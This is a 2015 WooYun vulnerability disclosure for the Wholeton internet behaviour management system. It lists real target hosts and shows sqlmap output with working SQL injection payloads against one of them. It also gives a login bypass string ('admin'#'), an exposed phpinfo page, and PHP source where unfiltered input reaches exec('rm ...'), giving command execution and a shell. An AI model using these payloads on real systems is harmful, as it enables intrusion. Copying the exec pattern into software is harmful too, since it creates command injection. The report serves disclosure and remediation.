当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091953

漏洞标题:惠尔顿上网行为管理系统任意命令执行getshell

相关厂商:深圳市惠尔顿信息技术有限公司

漏洞作者: 路人甲

提交时间:2015-01-15 17:26

修复时间:2015-04-15 17:28

公开时间:2015-04-15 17:28

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-15: 细节已通知厂商并且等待厂商处理中
2015-01-20: 厂商已经确认,细节仅向厂商公开
2015-01-23: 细节向第三方安全合作伙伴开放
2015-03-16: 细节向核心白帽子及相关领域专家公开
2015-03-26: 细节向普通白帽子公开
2015-04-05: 细节向实习白帽子公开
2015-04-15: 细节向公众公开

简要描述:

惠尔顿上网行为管理系统漏洞之getshell

详细说明:

惠尔顿上网行为管理系统

https://222.92.15.100/base/login/login.php
http://test.bescar.com/base/login/login.php
http://222.223.56.116/base/login/login.php


#1,登陆框存在SQL注入漏洞

C:\>sqlmap.py -u https://222.92.15.100/base/login/get
LoginIkey.php?user=admin --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150113}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:03:20
[22:03:21] [INFO] resuming back-end DBMS 'mysql'
[22:03:21] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: user (GET)
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: user=-5512' UNION ALL SELECT CONCAT(0x7162787a71,0x534f524257536343
6861,0x71706b7a71)#
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: user=admin'; SELECT SLEEP(5)--
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: user=admin' AND SLEEP(5) AND 'UIkx'='UIkx
---
[22:03:22] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.4
back-end DBMS: MySQL 5.0.11
[22:03:23] [INFO] fetching database names
[22:03:23] [INFO] heuristics detected web page charset 'ascii'
[22:03:23] [INFO] the SQL query used returns 6 entries
[22:03:23] [INFO] retrieved: information_schema
[22:03:24] [INFO] retrieved: aclocal
[22:03:24] [INFO] retrieved: ifdb
[22:03:25] [INFO] retrieved: mysql
[22:03:25] [INFO] retrieved: wholeton_fms
[22:03:25] [INFO] retrieved: wholeton_otp
available databases [6]:
[*] aclocal
[*] ifdb
[*] information_schema
[*] mysql
[*] wholeton_fms
[*] wholeton_otp


利用admin'#,密码任意登陆即可

无标题.jpg


#2,存在phpinfo.php测试页面,泄露服务器敏感信息

/base/phoinfo.php


无标题.jpg


#3,登陆系统后,点击系统管理-系统工具-抓包工具,随便抓下,生成一个数据包,删除该数据包文件时,未进行参数过滤,导致任意命令执行
删除数据包页面链接 /base/sys/testtool.php
根据 WooYun: 惠尔顿上网行为管理路由存在权限绕过漏洞(泄漏密码等信息) 下载页面源代码文件

function EtherealTool(){
global $user_role_i;
global $user_role_d;
global $thisfile;

$identifier = htmlobject_request('identifier');
if($identifier == '') {
$identifier = array();
}
switch (htmlobject_request('action')) {
case '删除':
if(is_array($identifier)){
foreach($identifier as $id) {
exec("rm ".$id);
$name = "删除导出的文件:".$id;
writeSysLog($name);
}
}
break;
}
......


可以看出$identifier直接从客户端获取,未进行任何过滤,从而导致任意命令执行。

漏洞证明:

以222.92.15.100为例,其他同样可复现。漏洞证明:

无标题.jpg


无标题.jpg

修复方案:

#1,修复SQL注入漏洞
#2,删除phpinfo页面
#3,过滤客户端参数
#4,删除shell
ps:预览时怎么测试代码跟漏洞证明一样了。。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-01-20 14:46

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商的直接处置渠道,待认领。

最新状态:

暂无